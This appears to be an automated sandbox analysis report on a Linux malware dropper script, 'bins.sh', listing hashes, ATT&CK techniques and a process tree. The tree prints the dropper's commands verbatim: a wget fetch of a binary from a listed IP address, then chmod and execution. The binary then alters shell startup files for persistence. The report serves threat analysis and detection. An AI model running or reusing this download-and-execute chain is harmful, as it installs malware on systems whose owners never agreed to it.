Analysis
- max time kernel
149s - max time network
149s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20260513-en - resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system - submitted
23/07/2026, 02:52
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20260513-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20260513-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20260513-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20260513-en
General
- Target bins.sh
- Size 1KB
- Sample260723-dc2zvsvxdy
- SHA256 e884305886288e46cea6630d22737da6c4bfa68b582f2b18b5133aa885c791f3
- MD5 7cd5c5204b515c89ab22f3e77c2de5dd
- SHA1 f1378d410c05b3f2a28d083dea8cc143389e2585
- SHA512 565c5e5e414b29fde000a23626440e05a00e6a3502a1b9204488b037b7478f23e6b7eead6175f181c7cd51c3e466550688452e6db101922f91156c7946581df3
- TLSH T12D41B19B33E185B3C4039D65FF5418E0D0C8D6E271F2DBB8F86844A21159D48B19AB63
- MD5 SHA1 SHA512 TLSH
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1497 chmod - Executes dropped EXE 1 IoCs
ioc pid Process /tmp/x86 1498 bins.sh - Creates/modifies environment variables 1 TTPs 3 IoCs
Creating/modifying environment variables is a common persistence mechanism.
description ioc Process File opened for modification /home/user/.bashrc x86 File opened for modification /etc/profile x86 File opened for modification /root/.bashrc x86 - Write file to user bin folder 2 IoCs
description ioc Process File opened for modification /usr/bin/test_write x86 File opened for modification /usr/bin/sysd x86 - Modifies Bash startup script 2 TTPs 3 IoCs
description ioc Process File opened for modification /etc/profile x86 File opened for modification /root/.bashrc x86 File opened for modification /home/user/.bashrc x86 - Enumerates kernel/hardware configuration 1 TTPs 3 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/kernel/mm/transparent_hugepage/hpage_pmd_size x86 File opened for reading /sys/fs/cgroup/cpu,cpuacct/cpu.cfs_quota_us x86 File opened for reading /sys/fs/cgroup/cpu,cpuacct/cpu.cfs_period_us x86 -
description ioc Process File opened for reading /proc/self/cgroup x86 File opened for reading /proc/self/mountinfo x86 File opened for reading /proc/stat x86 File opened for reading /proc/meminfo x86 - Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/x86 wget
Processes
-
/tmp/bins.sh/tmp/bins.sh1⤵
- Executes dropped EXE
PID:1486 -
/usr/bin/wgetwget http://45.74.3.37:5001/x86 -O x862⤵
- Writes file to tmp directory
PID:1487
-
-
/bin/chmodchmod +x x862⤵
- File and Directory Permissions Modification
PID:1497
-
-
/tmp/x86./x862⤵
- Creates/modifies environment variables
- Write file to user bin folder
- Modifies Bash startup script
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:1498
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Event Triggered Execution
1Unix Shell Configuration Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Privilege Escalation
Boot or Logon Autostart Execution
1Event Triggered Execution
1Unix Shell Configuration Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path /tmp/x86
- Size 5.5MB
- SHA256 d62438047907e77f6e8761ac6976c62971a477c3ecdb090a06d632caf9fb2f93
- MD5 9860261aa472a0a476264d14372f0add
- SHA1 d2aee26493a5c19d672d8ebb9f56ecc4938de416
- SHA512 20b86dbc221036d90c0b9c516a6760926b6ba9923178234e81914f36954f15b212022f4247bf407a2c7f4c88b07c22b402929206d84fe13d9e210071d67f9af7
- SSDEEP 98304:3m9zLdBypE0xg6RzSVdau21rINrbadIyi79o+0ykeEnzO:3udBypRxg6RzSVdau21wrbYy8zO
- TLSH T1CE462711FECB14F6E9031E3105BBA26F63315D058B24EBD7EB407E29F97B6921932219
- MD5 SHA1 SHA512 SSDEEP TLSH